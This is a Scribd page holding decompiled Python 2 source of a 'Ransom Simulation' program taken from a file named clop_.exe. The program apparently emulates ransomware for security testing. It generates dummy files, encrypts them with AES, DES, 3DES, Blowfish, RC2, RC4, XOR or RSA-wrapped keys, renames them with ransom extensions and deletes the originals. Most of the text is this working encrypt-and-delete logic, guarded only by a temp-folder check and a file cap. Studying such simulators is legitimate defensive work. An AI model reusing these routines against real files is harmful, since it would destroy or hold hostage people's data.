0% found this document useful (0 votes)
15 views10 pages

Ransom Simulation

This document contains the source code of a Python program that can encrypt files using various encryption algorithms like AES, DES, RSA, Blowfish etc. It iterates through files in a folder, reads their contents, encrypts the data and writes the encrypted files back with encrypted extensions. It also logs the encryption process.

Uploaded by

Tomer Bar
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
15 views10 pages

Ransom Simulation

This document contains the source code of a Python program that can encrypt files using various encryption algorithms like AES, DES, RSA, Blowfish etc. It iterates through files in a folder, reads their contents, encrypts the data and writes the encrypted files back with encrypted extensions. It also logs the encryption process.

Uploaded by

Tomer Bar
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 10

C:\Python27\Lib\site-packages>uncompyle6 "C:\Users\Tomer Bar\Downloads\

clop_.exe_extracted\main_optimized.pyc"
# uncompyle6 version 3.7.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.16 (v2.7.16:413a49145e, Mar 4 2019, 01:37:19) [MSC
v.1500 64 bit (AMD64)]
# Embedded file name: main_optimized.py
from six import binary_type
from six import string_types
from logging import getLogger
from logging import Formatter
from logging import FileHandler
from os import path
from os import mkdir
from os import remove
from os import walk
from os import getcwd
from sys import argv
from sys import exit
from json import load
from string import ascii_letters
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
from Crypto.Cipher import DES
from Crypto.Cipher import DES3
from Crypto.Cipher import Blowfish
from Crypto.Cipher import ARC2
from Crypto.Cipher import ARC4
from Crypto.Hash import SHA
from Crypto import Random
from struct import pack
from zipfile import ZipFile
from random import choice
from random import randint
from base64 import b64decode
from base64 import b64encode
g_iterated_files_count = 0
PASSOVER_FOLDER_FILES_NAMES = [
u'windows',
u'boot',
u'system volume information',
u'$recycle.bin',
u'program files',
u'program files (x86)',
u'appdata',
u'application data',
u'winnt']
RETURN_CODE_ERROR = 1
RETURN_CODE_SUCCESS = 0
MINIMUM_SIZE = 500
MAXIMUM_SIZE = 1500
MAXIMUM_FILES_TO_BE_ENCRYPTED = 20
SOURCE_FILE_NAME = '_FILENAME_'
SOURCE_FILE_DIR = path.join(getcwd(), 'enc_files')
LOGGER_NAME = 'generic_ransom_LOGGER'
LOG_FORMATTER = Formatter(fmt='%(levelname)s: [%(asctime)s] %(message)s',
datefmt='%Y-%m-%d %H:%M:%S')
LOG_LEVEL = 'DEBUG'
logger = getLogger(LOGGER_NAME)
logger_file_handler = FileHandler(path.abspath(path.expandvars('1.log')), 'w',
'utf-8')
logger_file_handler.setFormatter(LOG_FORMATTER)
logger.addHandler(logger_file_handler)

def iterate_files(folder_path):
files_to_encrypt = []
for root, dirs, files in walk(folder_path):
for file in files:
filePath = path.join(root, file)
files_to_encrypt.append(filePath)

return files_to_encrypt

def encrypt_file_AES(file_path, key, iv, ransomName, algoId, aesEncMode,


addedEncExt):
data = readSourceFile(file_path)
obj = AES.new(key, aesEncMode, iv)
while not len(data) % 16 == 0:
data = data + '\x00'

ciphertext = obj.encrypt(data)
obj2 = AES.new(key, aesEncMode, iv)
data2 = obj2.decrypt(ciphertext)
writeEncAndDecFiles(file_path, ciphertext, data2, algoId, addedEncExt)

def encrypt(message, public_key):


public_key_object = RSA.importKey(public_key)
random_phrase = 'M'
encrypted_message = public_key_object.encrypt(_to_format_for_encrypt(message),
random_phrase)[0]
return b64encode(encrypted_message)

def decrypt(encoded_encrypted_message, private_key):


encrypted_message = b64decode(encoded_encrypted_message)
private_key_object = RSA.importKey(private_key)
decrypted_message = private_key_object.decrypt(encrypted_message)
return decrypted_message

def _to_format_for_encrypt(value):
if isinstance(value, int):
return binary_type(value)
for str_type in string_types:
if isinstance(value, str_type):
return value.encode('utf8')

if isinstance(value, binary_type):
return value

def generate_keys(keyLength):
random_generator = Random.new().read
key = RSA.generate(keyLength, random_generator)
private, public = key.exportKey(), key.publickey().exportKey()
return (private, public)
def encrypt_file_RSA(aesKey, RSAkeyLength):
private, public = generate_keys(RSAkeyLength)
encrypted_key = encrypt(aesKey, public)
return encrypted_key

def encrypt_file_DES(desKey, file_path, ransomName, algoId, addedEncExt):


data = readSourceFile(file_path)
while not len(data) % 8 == 0:
data = data + '\x00'

cipher = DES.new(desKey, DES.MODE_ECB)


ciphertext = cipher.encrypt(data)
data2 = cipher.decrypt(ciphertext)
writeEncAndDecFiles(file_path, ciphertext, data2, algoId, addedEncExt)

def _make_des3_encryptor(key, iv):


encryptor = DES3.new(key, DES3.MODE_CBC, iv)
return encryptor

def des3_encrypt(key, iv, data):


encryptor = _make_des3_encryptor(key, iv)
pad_len = 8 - len(data) % 8
padding = chr(pad_len) * pad_len
data += padding
return encryptor.encrypt(data)

def des3_decrypt(key, iv, data):


encryptor = _make_des3_encryptor(key, iv)
result = encryptor.decrypt(data)
pad_len = ord(result[(-1)])
result = result[:-pad_len]
return result

def encrypt_file_3DES(des3key, file_path, ransomName, algoId, addedEncExt):


data = readSourceFile(file_path)
iv = randomString(8)
encryptor = _make_des3_encryptor(des3key, iv)
ciphertext = des3_encrypt(des3key, iv, data)
data2 = des3_decrypt(des3key, iv, ciphertext)
writeEncAndDecFiles(file_path, ciphertext, data2, algoId, addedEncExt)

def encrypt_file_XOR(xorKey, file_path, ransomName, algoId, addedEncExt):


data = readSourceFile(file_path)
ciphertext = ''
for i in xrange(0, len(data) / 2):
xored = chr(int(chr(ord(data[i:i + 1])).encode('hex'), 16) ^ ord('\x80'))
ciphertext += xored
i += 1

data2 = ''
for i in xrange(0, len(data) / 2):
xored = chr(int(chr(ord(ciphertext[i:i + 1])).encode('hex'), 16) ^
ord(xorKey))
data2 += xored
i += 1

writeEncAndDecFiles(file_path, ciphertext, data2, algoId, addedEncExt)

def encrypt_file_Blowfish(blowFishKey, file_path, ransomName, algoId, addedEncExt):


data = readSourceFile(file_path)
bs = Blowfish.block_size
blowFishKey = 'An arbitrarily long key'
iv = Random.new().read(bs)
cipher = Blowfish.new(blowFishKey, Blowfish.MODE_CBC, iv)
plen = bs - divmod(len(data), bs)[1]
padding = [plen] * plen
padding = pack(('b' * plen), *padding)
ciphertext = iv + cipher.encrypt(data + padding)
data2 = cipher.decrypt(ciphertext)
last_byte = data2[(-1)]
data2 = data2[:-(last_byte if type(last_byte) is int else ord(last_byte))]
data2 = data2[bs:]
writeEncAndDecFiles(file_path, ciphertext, data2, algoId, addedEncExt)

def encrypt_file_RC2(rc2Key, file_path, ransomName, algoId, addedEncExt):


data = readSourceFile(file_path)
iv = Random.new().read(ARC2.block_size)
cipher = ARC2.new(rc2Key, ARC2.MODE_CFB, iv)
ciphertext = iv + cipher.encrypt(data)
data2 = cipher.decrypt(ciphertext)
data2 = data2[ARC2.block_size:]
writeEncAndDecFiles(file_path, ciphertext, data2, algoId, addedEncExt)

def encrypt_file_RC4(rc4Key, file_path, ransomName, algoId, addedEncExt):


data = readSourceFile(file_path)
nonce = Random.new().read(16)
tempkey = SHA.new(rc4Key + nonce).digest()
cipher = ARC4.new(tempkey)
ciphertext = nonce + cipher.encrypt(data)
cipher2 = ARC4.new(tempkey)
data2 = cipher2.decrypt(ciphertext[16:])
writeEncAndDecFiles(file_path, ciphertext, data2, algoId, addedEncExt)

def readSourceFile(file_path):
with open(file_path, 'rb') as (f):
data = f.read()
return data

def writeEncAndDecFiles(file_path, ciphertext, data2, algoId, addedEncExt):


with open(file_path + '_' + ransomName + '_' + algoId + addedEncExt, 'wb') as
(f):
f.write(ciphertext)
remove(file_path)
def randomString(stringLength):
"""Generate a random string with the combination of lowercase and uppercase
letters """
letters = ascii_letters
return ('').join(choice(letters) for i in range(stringLength))

def encrypt_file(ransomName, file_path, encAlgoList, addedEncExt):


AESkeyLength = 32
mode_ECB = 1
mode_CBC = 2
mode_CFB = 3
rsaKeyLength = 2048
algoId = ''
supported = False
AESkey = None
DESkey = None
DESkeyLength = 8
DES3key = None
xorKey = None
blowFishKey = None
rc2Key = None
rc4Key = None
aesEncMode = None
for encAlgo in encAlgoList:
if 'AES' in encAlgo:
aesEncMode = mode_ECB
if 'CBC' in encAlgo:
aesEncMode = mode_CBC
elif 'CFB' in encAlgo:
aesEncMode = mode_CFB
supported = True
algoId += 'AES'
if 'AES-' not in encAlgo:
AESkey = randomString(AESkeyLength)
else:
index = encAlgo.find('AES-')
AESkeyLength = int(encAlgo[index + 4:index + 7]) / 8
AESkey = randomString(AESkeyLength)
if 'DES' in encAlgo:
if '3DES' in encAlgo:
algoId += '3DES'
DES3key = randomString(24)
supported = True
continue
algoId += 'DES'
DESkey = randomString(DESkeyLength)
supported = True
if 'XOR' in encAlgo:
xorKey = randomString(1)
algoId += 'XOR'
supported = True
continue
if 'RSA' in encAlgo:
supported = True
algoId += 'RSA'
if 'RSA-' in encAlgo:
index = encAlgo.find('RSA-')
rsaKeyLength = int(encAlgo[index + 4:index + 8])
rsaKey = randomString(rsaKeyLength)
aesEncMode = mode_ECB
if 'CBC' in encAlgo:
aesEncMode = mode_CBC
elif 'CFB' in encAlgo:
aesEncMode = mode_CFB
if 'BLOWFISH' in encAlgo:
blowFishKey = randomString(56)
algoId += 'BLOWFISH'
supported = True
continue
if 'RC2' in encAlgo:
rc2Key = randomString(16)
algoId += 'RC2'
supported = True
continue
if 'RC4' in encAlgo:
rc4Key = randomString(256)
algoId += 'RC4'
supported = True
continue
if 'TEA' in encAlgo or 'SALSA20' in encAlgo:
supported = False
break

if 'AES' in encAlgo and 'RSA' in encAlgo and not algoId == 'AESRSA' and not
algoId == 'RSAAES':
print '----error, found more than 2 algorithms'
supported = False
if not supported:
print '%s,not supported algo, %s' % (ransomName, encAlgoList)
return
else:
if algoId == 'RSA' or algoId == 'RSAAES' or algoId == 'AESRSA':
if algoId == 'RSA':
AESkey = randomString(AESkeyLength)
AESencKey = encrypt_file_RSA(AESkey, rsaKeyLength)
iv = randomString(16)
encrypt_file_AES(file_path, AESkey, iv, ransomName, algoId, aesEncMode,
addedEncExt)
elif algoId == 'AES':
iv = randomString(16)
encrypt_file_AES(file_path, AESkey, iv, ransomName, algoId, aesEncMode,
addedEncExt)
elif algoId == 'DES':
encrypt_file_DES(DESkey, file_path, ransomName, algoId, addedEncExt)
elif algoId == '3DES':
encrypt_file_3DES(DES3key, file_path, ransomName, algoId, addedEncExt)
elif algoId == 'RSADES' or algoId == 'DESRSA':
DESencKey = encrypt_file_RSA(DESkey, rsaKeyLength)
encrypt_file_DES(DESkey, file_path, ransomName, algoId, addedEncExt)
elif algoId == 'RSA3DES' or algoId == '3DESRSA':
DES3encKey = encrypt_file_RSA(DES3key, rsaKeyLength)
encrypt_file_3DES(DES3key, file_path, ransomName, algoId, addedEncExt)
elif algoId == 'XOR':
encrypt_file_XOR(xorKey, file_path, ransomName, algoId, addedEncExt)
elif algoId == 'BLOWFISH':
encrypt_file_Blowfish(blowFishKey, file_path, ransomName, algoId,
addedEncExt)
elif algoId == 'RC2':
encrypt_file_RC2(rc2Key, file_path, ransomName, algoId, addedEncExt)
elif algoId == 'RSARC2' or algoId == 'RC2RSA':
rc2encKey = encrypt_file_RSA(rc2Key, rsaKeyLength)
encrypt_file_RC2(rc2Key, file_path, ransomName, algoId, addedEncExt)
elif algoId == 'RC4':
encrypt_file_RC4(rc4Key, file_path, ransomName, algoId, addedEncExt)
elif algoId == 'RSARC4' or algoId == 'RC4RSA':
rc4encKey = encrypt_file_RSA(rc4Key, rsaKeyLength)
encrypt_file_RC4(rc4Key, file_path, ransomName, algoId, addedEncExt)
else:
print 'else-----%s,%s' % (ransomName, algoId)
return

def sb_safe_should_encrypt(full_file_path, safe_substr_in_file_path):


"""

This function's logic does not exist in original malware, but is inserted by
us (SB) to make it safe for users running it. It is called after initial
iteration and gathering of the files list to encrypt, to allow separation
between which folders and files are being iterated on, and which files to
actually encrypt. This requirement allows us to enforce both a limit on the
iteration phase time, and on the files to be encrypted.

"""
global logger
should_encrypt = safe_substr_in_file_path in full_file_path
logger.debug(('should_encrypt: {0:20} : {1}').format(full_file_path,
should_encrypt))
return should_encrypt

def encrypt_recursive(ransomName, base_path, encAlgoList, addedEncExt):


"""

Recursively encrypt folder tree starting from the given base folder. Takes
care of the creation (import) of the crypt key, and its destroying. Only
encrypts files that have passed both the original Locky filtering, and SB
filtering.

"""
global g_iterated_files_count
files_to_encrypt = iterate_files(base_path)
logger.debug('Iterated %d files. Moving on to encrypt them' %
g_iterated_files_count)
logger.info('Iteration finished, now encrypting filtered files')
encrypted_files_count = 0
for file_path in files_to_encrypt:
encrypt_file(ransomName, file_path, encAlgoList, addedEncExt)
encrypted_files_count += 1

logger.debug('Encrypted %d files successfuly' % encrypted_files_count)


return encrypted_files_count

def generateFiles(filePath):
with open(filePath, 'wb') as (f):
f.write(signature1)
def randomStringWithLen(hexList, stringLength):
return ('').join(choice(hexList) for i in range(stringLength))

def generateFiles(extDict, hexList):


if not path.isdir(SOURCE_FILE_DIR):
try:
mkdir(SOURCE_FILE_DIR)
except Exception:
print 'cant create dir %s, existing...' % SOURCE_FILE_DIR

for ext, signature in extDict.items():


fileName = SOURCE_FILE_NAME + ext
filePath = path.join(SOURCE_FILE_DIR, fileName)
lettersNum = randint(MINIMUM_SIZE, MAXIMUM_SIZE)
randStr = randomStringWithLen(hexList, lettersNum)
signature1 = str(signature) + randStr
signature1 = signature1.decode('hex')
with open(filePath, 'wb') as (f):
f.write(signature1)

def generateFileTobeEncrypted(lines, supportedExtsSet):


extDict = {}
extCount = 0
for line in lines:
if extCount >= MAXIMUM_FILES_TO_BE_ENCRYPTED:
break
line = line.strip()
extUpper, signature, description = line.split(',')
ext = extUpper.lower()
ext = '.' + ext
if ext in supportedExtsSet:
extDict[ext] = str(signature)
extCount += 1

print len(extDict)
hexList = []
for i in xrange(0, 255):
binary = hex(i).replace('0x', '')
if int(binary, 16) < 16:
binary = '0' + binary
hexList.append(binary)

for ext in supportedExtsSet:


if extCount >= MAXIMUM_FILES_TO_BE_ENCRYPTED:
break
if ext not in extDict:
extDict[ext] = randomStringWithLen(hexList, 3)
extCount += 1

generateFiles(extDict, hexList)

def extractFiles(filePath, destPath):


with ZipFile(filePath, 'r') as (zipObj):
zipObj.extractall(destPath)
if __name__ == '__main__':
logger.info('generic ransomware started logging')
supportedExtsSet = set()
if 2 != len(argv):
print 'ERROR - wrong usage'
exit(RETURN_CODE_ERROR)
try:
metaFilePath = 'meta.zip'
metaDestDir = getcwd()
extractFiles(metaFilePath, metaDestDir)
fileExtPath = path.join(metaDestDir, 'exts.csv')
with open(fileExtPath, 'rb') as (f):
lines = f.readlines()
remove(fileExtPath)
fileJsonPath = path.join(metaDestDir, 'data.json')
with open(fileJsonPath) as (json_file):
dataDict = load(json_file)
remove(fileJsonPath)
base_folder = path.abspath(path.expandvars(SOURCE_FILE_DIR)).lower()
if not path.isdir(base_folder):
try:
mkdir(SOURCE_FILE_DIR)
except:
print 'cant create source dir %s, exiting...' % SOURCE_FILE_DIR
print e.message
raise SystemExit()

if '\\temp\\' not in base_folder:


print 'you are not allowed to encrypt the folder %s' % base_folder
raise SystemExit()
for ransomName, ransomDict in dataDict.items():
if not ransomName == argv[1]:
continue
malwareZipFilePath = ransomName + '.zip'
destPath = ransomName + '_files'
extractFiles(malwareZipFilePath, destPath)
for ext in ransomDict['supportedExts']:
supportedExtsSet.add(ext)

generateFileTobeEncrypted(lines, supportedExtsSet)
encAlgoList = ransomDict['encAlgo']
addedEncExt = ransomDict['addedEncExt']
encrypted_files_count = encrypt_recursive(ransomName, base_folder,
encAlgoList, addedEncExt)
if 0 == encrypted_files_count:
print 'ERROR - No files were encrypted'
exit(RETURN_CODE_ERROR)
break

print 'SUCCESS'
exit(RETURN_CODE_SUCCESS)
except Exception as e:
logger.exception('General failure: %s' % str(e))
print 'ERROR'
exit(RETURN_CODE_ERROR)
# okay decompiling C:\Users\Tomer Bar\Downloads\clop_.exe_extracted\
main_optimized.pyc
C:\Python27\Lib\site-packages>

You might also like